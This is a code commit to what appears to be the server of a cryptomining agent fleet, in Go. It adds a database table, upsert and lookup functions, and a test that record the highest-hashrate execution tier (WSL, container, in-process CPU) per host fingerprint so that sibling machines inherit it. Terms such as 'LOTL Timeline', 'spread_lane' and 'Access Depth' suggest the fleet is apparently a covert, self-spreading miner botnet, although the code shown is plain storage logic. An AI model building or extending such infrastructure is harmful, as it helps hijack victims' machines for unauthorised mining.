Add fleet phenotype cloning for sibling machines.
Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
149
server/internal/db/phenotype.go
Normal file
149
server/internal/db/phenotype.go
Normal file
@@ -0,0 +1,149 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// StoredPhenotype is the persisted best winning path for a fingerprint bucket.
|
||||
type StoredPhenotype struct {
|
||||
ID string
|
||||
Fingerprint string
|
||||
SourceAgentID string
|
||||
SourceAgentName string
|
||||
OS string
|
||||
SpreadLane string
|
||||
ActiveTier string
|
||||
TierOrder []string
|
||||
PeakHashrate float64
|
||||
CreatedAt time.Time
|
||||
}
|
||||
|
||||
func (d *Database) UpsertFleetPhenotype(p StoredPhenotype) (bool, error) {
|
||||
if d == nil || strings.TrimSpace(p.Fingerprint) == "" {
|
||||
return false, nil
|
||||
}
|
||||
existing, err := d.GetFleetPhenotypeByFingerprint(p.Fingerprint)
|
||||
if err != nil && !errors.Is(err, sql.ErrNoRows) {
|
||||
return false, err
|
||||
}
|
||||
if existing != nil && p.PeakHashrate <= existing.PeakHashrate {
|
||||
return false, nil
|
||||
}
|
||||
if p.ID == "" {
|
||||
p.ID = uuid.NewString()
|
||||
}
|
||||
if p.CreatedAt.IsZero() {
|
||||
p.CreatedAt = time.Now().UTC()
|
||||
}
|
||||
tierJSON, err := json.Marshal(p.TierOrder)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
_, err = d.Exec(
|
||||
`INSERT INTO fleet_phenotypes (
|
||||
id, fingerprint, source_agent_id, source_agent_name, os, spread_lane,
|
||||
active_tier, tier_order_json, peak_hashrate, created_at
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(fingerprint) DO UPDATE SET
|
||||
id = excluded.id,
|
||||
source_agent_id = excluded.source_agent_id,
|
||||
source_agent_name = excluded.source_agent_name,
|
||||
os = excluded.os,
|
||||
spread_lane = excluded.spread_lane,
|
||||
active_tier = excluded.active_tier,
|
||||
tier_order_json = excluded.tier_order_json,
|
||||
peak_hashrate = excluded.peak_hashrate,
|
||||
created_at = excluded.created_at
|
||||
WHERE excluded.peak_hashrate > fleet_phenotypes.peak_hashrate`,
|
||||
p.ID, p.Fingerprint, p.SourceAgentID, p.SourceAgentName, p.OS, p.SpreadLane,
|
||||
p.ActiveTier, string(tierJSON), p.PeakHashrate, p.CreatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetFleetPhenotypeByFingerprint(fingerprint string) (*StoredPhenotype, error) {
|
||||
fingerprint = strings.TrimSpace(fingerprint)
|
||||
if fingerprint == "" {
|
||||
return nil, sql.ErrNoRows
|
||||
}
|
||||
row := d.QueryRow(
|
||||
`SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane,
|
||||
active_tier, tier_order_json, peak_hashrate, created_at
|
||||
FROM fleet_phenotypes WHERE fingerprint = ?`,
|
||||
fingerprint,
|
||||
)
|
||||
return scanFleetPhenotype(row)
|
||||
}
|
||||
|
||||
func (d *Database) ListFleetPhenotypes(fingerprint string) ([]StoredPhenotype, error) {
|
||||
fingerprint = strings.TrimSpace(fingerprint)
|
||||
var (
|
||||
rows *sql.Rows
|
||||
err error
|
||||
)
|
||||
if fingerprint != "" {
|
||||
rows, err = d.Query(
|
||||
`SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane,
|
||||
active_tier, tier_order_json, peak_hashrate, created_at
|
||||
FROM fleet_phenotypes WHERE fingerprint = ? ORDER BY peak_hashrate DESC`,
|
||||
fingerprint,
|
||||
)
|
||||
} else {
|
||||
rows, err = d.Query(
|
||||
`SELECT id, fingerprint, source_agent_id, source_agent_name, os, spread_lane,
|
||||
active_tier, tier_order_json, peak_hashrate, created_at
|
||||
FROM fleet_phenotypes ORDER BY peak_hashrate DESC`,
|
||||
)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []StoredPhenotype
|
||||
for rows.Next() {
|
||||
p, err := scanFleetPhenotypeRow(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, *p)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func scanFleetPhenotype(row *sql.Row) (*StoredPhenotype, error) {
|
||||
return scanFleetPhenotypeRow(row)
|
||||
}
|
||||
|
||||
type phenotypeScanner interface {
|
||||
Scan(dest ...interface{}) error
|
||||
}
|
||||
|
||||
func scanFleetPhenotypeRow(row phenotypeScanner) (*StoredPhenotype, error) {
|
||||
var p StoredPhenotype
|
||||
var tierJSON string
|
||||
var createdAt string
|
||||
if err := row.Scan(
|
||||
&p.ID, &p.Fingerprint, &p.SourceAgentID, &p.SourceAgentName, &p.OS, &p.SpreadLane,
|
||||
&p.ActiveTier, &tierJSON, &p.PeakHashrate, &createdAt,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if tierJSON != "" {
|
||||
_ = json.Unmarshal([]byte(tierJSON), &p.TierOrder)
|
||||
}
|
||||
if t, err := time.Parse(time.RFC3339, createdAt); err == nil {
|
||||
p.CreatedAt = t
|
||||
} else if t, err := time.Parse("2006-01-02 15:04:05", createdAt); err == nil {
|
||||
p.CreatedAt = t.UTC()
|
||||
}
|
||||
return &p, nil
|
||||
}
|
||||
56
server/internal/db/phenotype_test.go
Normal file
56
server/internal/db/phenotype_test.go
Normal file
@@ -0,0 +1,56 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestUpsertFleetPhenotypeKeepsBestPeak(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = d.Close() })
|
||||
|
||||
fp := "windows|0|0|0|0|0|192.168.1"
|
||||
updated, err := d.UpsertFleetPhenotype(StoredPhenotype{
|
||||
Fingerprint: fp, SourceAgentID: "a1", SourceAgentName: "worker-07",
|
||||
TierOrder: []string{"wsl"}, PeakHashrate: 400,
|
||||
})
|
||||
if err != nil || !updated {
|
||||
t.Fatalf("first upsert: updated=%v err=%v", updated, err)
|
||||
}
|
||||
|
||||
updated, err = d.UpsertFleetPhenotype(StoredPhenotype{
|
||||
Fingerprint: fp, SourceAgentID: "a2", SourceAgentName: "worker-12",
|
||||
TierOrder: []string{"container"}, PeakHashrate: 200,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if updated {
|
||||
t.Fatal("lower peak should not replace winner")
|
||||
}
|
||||
|
||||
got, err := d.GetFleetPhenotypeByFingerprint(fp)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.SourceAgentName != "worker-07" || got.PeakHashrate != 400 {
|
||||
t.Fatalf("unexpected best phenotype: %+v", got)
|
||||
}
|
||||
|
||||
updated, err = d.UpsertFleetPhenotype(StoredPhenotype{
|
||||
Fingerprint: fp, SourceAgentID: "a3", SourceAgentName: "worker-99",
|
||||
TierOrder: []string{"cpu_inprocess"}, PeakHashrate: 900,
|
||||
})
|
||||
if err != nil || !updated {
|
||||
t.Fatalf("higher peak upsert: updated=%v err=%v", updated, err)
|
||||
}
|
||||
got, err = d.GetFleetPhenotypeByFingerprint(fp)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.SourceAgentName != "worker-99" || got.PeakHashrate != 900 {
|
||||
t.Fatalf("expected new winner, got %+v", got)
|
||||
}
|
||||
}
|
||||
@@ -214,6 +214,30 @@ func (d *Database) migrate() error {
|
||||
strategy_json TEXT NOT NULL,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS failure_atlas (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
fingerprint_bucket TEXT NOT NULL,
|
||||
condition TEXT NOT NULL,
|
||||
tier TEXT NOT NULL,
|
||||
fail_count INTEGER NOT NULL DEFAULT 0,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(fingerprint_bucket, condition, tier)
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_bucket ON failure_atlas(fingerprint_bucket)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_failure_atlas_tier ON failure_atlas(tier)`,
|
||||
`CREATE TABLE IF NOT EXISTS fleet_phenotypes (
|
||||
id TEXT PRIMARY KEY,
|
||||
fingerprint TEXT NOT NULL UNIQUE,
|
||||
source_agent_id TEXT NOT NULL,
|
||||
source_agent_name TEXT NOT NULL,
|
||||
os TEXT NOT NULL DEFAULT '',
|
||||
spread_lane TEXT NOT NULL DEFAULT '',
|
||||
active_tier TEXT NOT NULL DEFAULT '',
|
||||
tier_order_json TEXT NOT NULL DEFAULT '[]',
|
||||
peak_hashrate REAL NOT NULL DEFAULT 0,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
|
||||
Reference in New Issue
Block a user